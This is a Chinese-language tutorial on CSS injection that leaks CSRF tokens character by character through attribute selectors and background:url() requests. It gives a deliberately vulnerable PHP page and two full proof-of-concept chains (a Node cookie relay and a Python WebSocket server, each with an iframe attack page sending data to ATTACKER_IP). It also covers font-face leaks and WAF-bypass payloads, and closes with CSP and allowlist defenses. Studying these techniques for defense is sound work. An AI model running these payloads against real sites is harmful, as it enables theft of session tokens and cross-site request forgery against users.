前言

CSS Injection(CSS 注入)是一种常被低估的 Web 攻击手法。当页面允许用户控制 CSS 内容(如 <style> 标签内容或 css 查询参数直接拼接进样式块),攻击者可以利用 CSS 属性选择器 + background: url() 的组合,将页面中的敏感数据(CSRF Token、用户 ID、页面内容等)逐字符发送到外部服务器。

核心优势:

  • 不需要执行 JavaScript(绕过 CSP script-src
  • 不需要页面有回显(数据通过浏览器发起的 HTTP 请求外带)
  • 属性选择器在 input[value] 上直接生效,无需 JS 读写 DOM

典型攻击场景:

  • 页面 CSS 参数可控(如自定义主题颜色拼接进了 <style>
  • 目标数据嵌入在 input[value]meta[content]、自定义属性中
  • CSP 禁用了 inline script 但没有限制 img-srcconnect-src

本文从 CSS 属性选择器基础讲起,拆解逐字符爆破 CSRF Token 的完整攻击链,并给出两种实际可用的 PoC(Cookie 回传 + WebSocket 回传)以及防御方案。


一、CSS 属性选择器基础

1.1 选择器速查

CSS 属性选择器可以按属性值的前缀、后缀、包含关系精确匹配元素:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
/* 存在属性 */
[attr] → 带有 attr 属性的元素

/* 精确匹配 */
[attr="value"] → attr 属性完全等于 value

/* 前缀匹配 */
[attr^="value"] → attr 属性以 value 开头

/* 后缀匹配 */
[attr$="value"] → attr 属性以 value 结尾

/* 包含匹配 */
[attr*="value"] → attr 属性包含 value 子串

/* 空白分隔列表 */
[attr~="value"] → attr 属性是以空格分隔的列表,其中一项等于 value

/* 连字符前缀 */
[attr|="value"] → attr 属性等于 value 或以 value- 开头(常用于 `lang` 属性)

1.2 用于数据窃取的关键选择器

1
2
3
input[value^="a"]    /* value 以 'a' 开头 */
input[value^="ab"] /* value 以 'ab' 开头 */
input[value^="abc"] /* value 以 'abc' 开头 */

原理: 如果能逐字符构造前缀,当选择器匹配成功时触发一个外部请求,就能知道当前猜测的前缀是正确的。

1.3 利用 background: url() 外带数据

1
2
3
input[value^="secret_prefix"] {
background: url(http://attacker.com/leak/secret_prefix);
}

当页面上存在 value"secret_prefix" 开头的 <input> 元素时,浏览器会发起 GET http://attacker.com/leak/secret_prefix 请求。攻击者从服务器日志中就能还原出完整的 value。

~* 是什么? 原文中使用了 input[value^="..."]~*{...},这是后续兄弟选择器——匹配 input 之后的所有兄弟元素。其实直接 input[value^="..."]{...} 即可,因为属性选择器本身就绑定到匹配的元素上。用 ~* 是为了绕过某些 WAF 对直接选择器的检测。


二、攻击前提与典型漏洞模式

2.1 漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
$token1 = md5($_SERVER['HTTP_USER_AGENT']);
$token2 = md5($token1);
?>
<!doctype html><meta charset=utf-8>
<input type=hidden value=<?=$token1 ?>>
<input type="text" name="csrftoken">
<script>
var TOKEN = "<?=$token2 ?>";
</script>

<style>
<?=preg_replace('#</style#i', '#', $_GET['css']) ?>
</style>

漏洞点: $_GET['css'] 直接拼入 <style> 标签。WAF 只过滤了 </style 防闭合,但没有过滤 CSS 属性选择器和 url() 函数

2.2 必要条件

条件 说明
CSS 注入点 用户可控的 CSS 内容被拼入 <style> 标签或 style 属性
目标数据在 HTML 属性中 input[value]meta[content]a[href]、自定义属性等
目标数据长度有限 逐字符爆破,token 越长消耗时间越久(32 位 hex ≈ 32 轮)
CSP 未严格限制 img-src url() 需要向攻击者服务器发请求,如果 img-src 'self' 则被阻断

三、逐字符爆破原理

3.1 攻击流程

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──────────────────────────────────────────────────────────────────┐
│ Step 1: 构造 CSS payload,猜测 token 第一个字符 │
│ ↓ │
│ Step 2: 受害者浏览器加载含注入 CSS 的页面 │
│ ↓ │
│ Step 3: 若 input[value^="a"] 匹配成功 │
│ → 浏览器请求 background: url(http://attacker/token/a) │
│ ↓ │
│ Step 4: 攻击者服务器收到请求 → 确认首字符为 'a' │
│ ↓ │
│ Step 5: 下一轮,猜测 input[value^="aa"], "ab", "ac"... │
│ 直到 32 位全部恢复 │
└──────────────────────────────────────────────────────────────────┘

3.2 单轮 CSS Payload 示例

已知前缀 e1,下一轮猜测所有 16 个可能的下一个字符:

1
2
3
4
5
input[value^="e10"] { background: url(http://attacker:3000/token/e10); }
input[value^="e11"] { background: url(http://attacker:3000/token/e11); }
input[value^="e12"] { background: url(http://attacker:3000/token/e12); }
...
input[value^="e1f"] { background: url(http://attacker:3000/token/e1f); }

只有正确匹配的那一条会触发浏览器请求,攻击者从收到的请求路径中就知道下一个字符是什么。

3.3 字符集分析

如果已知 token 是 MD5 hash(32 位小写 hex),字符集仅需 0123456789abcdef——每轮最多 16 次尝试 × 32 轮 = 最多 512 次请求,实际不到 10 秒即可完成。

如果 token 是 base64 或混合大小写字母+数字,字符集更大、耗时会线性增长。


四、方案一:Cookie 中转 + iframe 方式

4.1 整体架构

1
2
3
4
5
┌──────────────┐     ┌──────────────────┐     ┌─────────────────────┐
│ Attacker │ ──→ │ Attack Server │ ←── │ Victim (iframe) │
│ Page │ │ (Node/Express) │ │ 加载 CSS 注入页面 │
│ index.html │ │ Port 3000 │ │ 含 CSRF Token │
└──────────────┘ └──────────────────┘ └─────────────────────┘

流程:

  1. 受害者访问攻击者的 index.html
  2. JS 在 iframe 中加载目标注入页面,携带 CSS payload
  3. CSS 匹配成功 → 浏览器向攻击服务器发 GET /token/<prefix>
  4. 攻击服务器将收到的 prefix 写入 Cookie
  5. 攻击页面的 JS 每隔 50ms 轮询 Cookie,拿到最新前缀
  6. 递归进入下一轮猜测

4.2 服务端(Node.js + Express)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
const express = require('express');
const app = express();
app.disable('etag'); // 禁用 ETag,避免缓存干扰 Cookie 读取
const PORT = 3000;

// 接收 CSS 外带过来的 token 前缀,写入 Cookie
app.get('/token/:token', (req, res) => {
const { token } = req.params;
res.cookie('token', token);
res.send('');
});

// 提供 js-cookie 库(方便前端操作 Cookie)
app.get('/cookie.js', (req, res) => {
res.sendFile('js.cookie.js', {
root: './node_modules/js-cookie/src/'
});
});

// 攻击页面
app.get('/index.html', (req, res) => {
res.sendFile('index.html', { root: '.' });
});

app.listen(PORT, () => {
console.log(`Listening on ${PORT}...`);
});

4.3 攻击页面(index.html)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!doctype html><meta charset=utf-8>
<script src="./cookie.js"></script>
<big id=token></big><br>
<iframe id=iframe></iframe>

<script>
(async function() {
const EXPECTED_TOKEN_LENGTH = 32;
const ALPHABET = Array.from("0123456789abcdef");
const iframe = document.getElementById('iframe');
let extractedToken = '';

while (extractedToken.length < EXPECTED_TOKEN_LENGTH) {
clearTokenCookie();
createIframeWithCss();

// 等待攻击服务器将匹配到的前缀写入 Cookie
extractedToken = await getTokenFromCookie();
document.getElementById('token').textContent = extractedToken;
}

function getTokenFromCookie() {
return new Promise(resolve => {
const interval = setInterval(function() {
const token = Cookies.get('token');
if (token) {
clearInterval(interval);
resolve(token);
}
}, 50);
});
}

function clearTokenCookie() {
Cookies.remove('token');
}

function generateCSS() {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${extractedToken}${char}"] {
background: url(http://ATTACKER_IP:3000/token/${extractedToken}${char});
}`;
}
return css;
}

function createIframeWithCss() {
iframe.src = 'http://VICTIM_SITE/css.php?css=' + encodeURIComponent(generateCSS());
}
})();
</script>

4.4 攻击时序

1
2
3
4
5
6
7
8
1. 攻击者访问 index.html
2. JS 生成 CSS payload,设置 iframe.src = 目标页面 + CSS payload
3. iframe 加载目标页面,CSS 注入生效
4. input[value^="e1"] 匹配 → 浏览器请求 GET /token/e1
5. Express 收到 → res.cookie('token', 'e1')
6. 攻击页面 JS 轮询 Cookies.get('token') → 获取 'e1'
7. extractedToken = 'e1',进入下一轮猜测
8. 重复 2-7,直到 32 位全部恢复

五、方案二:WebSocket 实时回传

5.1 为什么用 WebSocket

Cookie 方式需要轮询(50ms 间隔),增加延迟和请求数。WebSocket 方式做到服务器收到 CSS 外带请求后,立即推送到攻击页面,实时性更好。

5.2 整体架构

1
2
3
4
5
┌──────────────┐  WebSocket  ┌────────────────────┐  HTTP GET   ┌──────────────────┐
│ Attacker │ ←────────── │ Python Server │ ←────────── │ Victim Page │
│ Page │ push token │ WS:8000 HTTP:8008 │ CSS leak │ (via iframe) │
│ evil.html │ │ │ │ │
└──────────────┘ └────────────────────┘ └──────────────────┘

5.3 服务端(Python HTTP + WebSocket)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
from http.server import HTTPServer, BaseHTTPRequestHandler
from threading import Thread
from socketserver import ThreadingMixIn
from SimpleWebSocketServer import SimpleWebSocketServer, WebSocket

PORT_HTTP = 8008
PORT_WS = 8000

# 全局 WebSocket 实例
ws = None


class RequestHandler(BaseHTTPRequestHandler):
"""接收 CSS 外带请求,通过 WebSocket 推送给攻击页面"""
def do_GET(self):
print(f"[+] HTTP GET {self.path}")
self.send_response(200)
self.end_headers()
if ws:
ws.sendMessage(self.path) # 将路径(即 token 前缀)推送给前端
return


class ThreadedHTTPServer(ThreadingMixIn, HTTPServer):
"""多线程 HTTP 服务器,支持并发请求"""


class SimpleEcho(WebSocket):

def handleMessage(self):
# echo message back to client
print(f'[{self.address}] new msg')

def handleConnected(self):
print(f'[{self.address}] connected, starting HTTP server')
global ws
ws = self
httpd = ThreadedHTTPServer(("", PORT_HTTP), RequestHandler)
server_thread = Thread(target=httpd.serve_forever)
server_thread.daemon = True
server_thread.start()
print(f'[+] HTTP on {PORT_HTTP}, WS on {PORT_WS}')

def handleClose(self):
print(f'[{self.address}] closed')


server = SimpleWebSocketServer('', PORT_WS, SimpleEcho)
server.serveforever()

5.4 攻击页面(evil.html)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>CSS Injection Attack</title>
</head>
<body>
<div id="div"></div>
<iframe id="leakchar"></iframe>
</body>
<script>
const WS = "ws://ATTACKER_IP:8000";
const HTTP = "http://ATTACKER_IP:8008";
const ALPHABET = Array.from("0123456789abcdef");
var s = new WebSocket(WS);

s.onopen = function (event) {
console.log('WebSocket connected');
next(''); // 从空前缀开始
};

s.onmessage = function (event) {
let token = event.data.match(/\w+/)[0]; // 提取路径中的 token 前缀
next(token);
};

s.onclose = function (event) {
console.log('WebSocket closed');
};

function next(token) {
if (token.length < 32) {
console.log('[*] leaking ' + token + '* ...');
document.getElementById('leakchar').src =
'http://VICTIM_SITE/css.php?css=' + encodeURIComponent(generateCSS(token));
} else {
console.log('[+] Done! Token: ' + token);
document.getElementById('div').innerHTML = '[+] CSRF Token: ' + token;
}
}

function generateCSS(token) {
let css = '';
for (let char of ALPHABET) {
css += `input[value^="${token}${char}"] ~* {
background: url(${HTTP}/${token}${char});
}`;
}
return css;
}
</script>
</html>

5.5 两种方案对比

方案一:Cookie 中转 方案二:WebSocket 推送
实时性 轮询 50ms 间隔,有延迟 即时推送,无延迟
复杂度 简单(只需 HTTP) 中等(需要 WS + HTTP 双服务)
依赖 Node.js + Express + js-cookie Python + SimpleWebSocketServer
可靠性 Cookie 可能被浏览器策略干扰 WebSocket 连接稳定可靠
适用场景 快速 PoC、CTF 生产级攻击、对抗严格 CSP

六、进阶技巧

6.1 利用 meta 标签窃取

1
<meta name="csrf-token" content="abc123def456...">
1
2
meta[name="csrf-token"][content^="a"] { background: url(http://attacker/a); }
meta[name="csrf-token"][content^="ab"] { background: url(http://attacker/ab); }

6.2 利用 script 标签内容(配合 script[src]

如果 token 以 JS 变量形式存在:

1
<script>var CSRF_TOKEN = "abc123";</script>

直接这块无解——script 标签的文本内容无法用属性选择器匹配。但如果 token 写到过某个自定义属性中:

1
<script data-token="abc123" src="app.js"></script>
1
script[data-token^="a"] { background: url(http://attacker/a); }

6.3 配合 @font-face + unicode-range 窃取文本内容

这是 CSS 注入的另一个经典思路——不需要属性选择器,直接窃取页面中可见文本的内容:

1
2
3
4
5
6
@font-face {
font-family: leak;
src: url(http://attacker/a), local(Arial);
unicode-range: U+0061; /* 仅当页面上有字母 'a' 时触发字体加载 */
}
* { font-family: leak, Arial; }

当页面上存在 unicode-range 指定的字符时,浏览器才会请求对应的字体文件。利用这个特性可以判断页面中是否存在某个字符。

这种方式适用于窃取页面上渲染的纯文本(如 <span>secret</span>),而不像属性选择器那样只能读 HTML 属性值。

6.4 @import 链式注入

如果 CSS 注入点只允许一行,可以用 @import 引入外部 CSS:

1
@import url(http://attacker/evil.css);

然后在 evil.css 中写入完整的属性选择器 payload。

6.5 绕过常见 WAF

1
2
3
4
5
6
7
8
9
10
11
12
/* 绕过对 input[value 的检测 */
[class="hidden"][value^="a"] ~ * { background: url(http://attacker/a); }

/* 用 * 通配替代 input */
*[value^="a"] { background: url(http://attacker/a); }

/* 用 %3B 替代分号,CSS 允许 */
input[value^="a"]{background:url(http://attacker/a)%3B}

/* 用多种方式引用 URL */
background: url(//attacker/a)
background: url(http:¥¥attacker¥a) /* IE */

七、防御措施

层面 措施 说明
输入过滤 永远不要将用户输入拼入 <style> 标签 使用白名单(如只允许预定义的色值列表)
CSP 设置 img-src 'self' 或具体域名 阻断 background: url() 向外站发请求
CSP 设置 style-src 'self' 禁止内联 <style> 以外的注入
CSP 设置 connect-src 'self' 阻断 WebSocket 连接外部(方案二失效)
Token 防护 CSRF Token 不写入 input[value] 或任何 HTML 属性 改为 SameSite=Strict Cookie + 自定义 Header 方式传递
框架防护 设置 X-Frame-Options: DENY 阻断攻击者通过 iframe 加载目标页面,但 window.open 仍可绕过
WAF 检测 CSS payload 中的 url( 模式 但可用 url(//attacker) 或编码绕过

CSP 示例

1
2
# Apache
Header set Content-Security-Policy "img-src 'self'; style-src 'self'; connect-src 'self'"
1
2
// PHP
header("Content-Security-Policy: img-src 'self'; style-src 'self'; connect-src 'self'");

安全过滤示例

1
2
3
4
5
6
7
// 错误:直接拼接用户输入
<style><?= $_GET['css'] ?></style>

// 正确:只允许预定义值
$allowed = ['default', 'dark', 'light'];
$theme = in_array($_GET['theme'], $allowed) ? $_GET['theme'] : 'default';
echo "<link rel='stylesheet' href='/css/{$theme}.css'>";

八、与其他数据窃取手法的比较

手法 依赖 是否需要 JS 窃取能力 CSP 阻断
CSS 属性选择器 <style> 注入 否(只需浏览器) HTML 属性值 img-src
CSS @font-face unicode-range <style> 注入 可见文本 font-src
XS-Leak (时序侧信道) 需要 JS 或 CSS 部分 布尔值 多样化
XSS JS 注入 任意 DOM script-src
Dangling Markup HTML 注入 HTML 源码片段 难以防御

CSS 注入的核心优势:不需要 JS 执行(可绕过严格的 script-src CSP),利用的是浏览器自身的 CSS 渲染行为。


参考